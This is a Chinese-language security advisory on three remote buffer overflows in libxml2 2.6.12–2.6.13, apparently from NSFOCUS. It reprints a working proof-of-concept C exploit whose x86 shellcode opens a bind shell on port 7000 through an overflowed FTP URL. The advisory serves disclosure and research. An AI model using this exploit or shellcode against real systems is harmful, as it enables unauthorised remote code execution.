首页 -> 安全研究

安全研究

安全漏洞
libxml2远程缓冲区溢出漏洞

发布日期:2004-10-26
更新日期:2004-10-27

受影响系统:
XMLSoft Libxml2 2.6.13
XMLSoft Libxml2 2.6.12
描述:
BUGTRAQ  ID: 11526

Libxml2是Gnome项目组开发的XML C解析器和工具集。

Libxml2在处理部分类型UR时存在问题,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击。

问题一是当解析FTP性质的URL时存在缓冲区溢出,从用户提供的数据没有任何长度检查就直接拷贝到静态缓冲区,可触发漏洞。

问题二是解析代理URL数据时存在缓冲区溢出,从用户提供的数据没有任何长度检查就直接拷贝到静态缓冲区,可触发漏洞。

问题三是代码在处理通过DNS解析名字时存在多个缓冲区溢出,攻击者运行恶意DNS服务器,或者攻击者在LAN中伪造DNS应答,可能以进程权限在系统上执行任意指令。

<*来源:infamous41md (infamous41md@hotpop.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109880813013482&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

infamous41md (infamous41md@hotpop.com)提供了如下测试方法:

/*
*  libxml 2.6.12 nanoftp bof POC   infamous42mdAThotpopDOTcom
*
*  [n00b@localho.outernet] gcc -Wall libsuxml.c -lxml2
*  [n00b@localho.outernet] ./a.out
*  Usage: ./a.out <retaddr> [ align ]
*  [n00b@localho.outernet] netstat -ant | grep 7000
*  [n00b@localho.outernet] ./a.out 0xbfff0360
*  xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
*  [n00b@localho.outernet] netstat -ant | grep 7000
*  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN      
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0

/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
    "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
    "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
    "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
    "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
    "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
    "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
    "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
    "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    

/*
*/
int main(int argc, char **argv)
{
    int x = 0, len = 0;
    char    buf[BS] = {'A',};
    long    retaddr = 0, align = ALIGN;

    if(argc < 2){
        fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]);
        return EXIT_FAILURE;
    }
    if(sscanf(argv[1], "%lx", &retaddr) != 1)
        die("sscanf");
    if(argc > 2)
        align = atoi(argv[2]);
    if(align < 0 || align > 3)
        die("nice try newblar");

    strncpy(buf, "://[", 4);
    len += 4;
    memset(buf+len, NOP, NNOPS);
    len += NNOPS;
    memcpy(buf+len, sc, SHELL_LEN);
    len += SHELL_LEN;
    
    len += align;
    for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
        memcpy(buf+len+x, &retaddr, sizeof(retaddr));
    buf[len+x] = ']';
    buf[len+x+1] = 0;

    xmlNanoFTPNewCtxt(buf);

    return EXIT_SUCCESS;
}

建议:
厂商补丁:

XMLSoft
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.xmlsoft.org/

浏览次数:3602
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障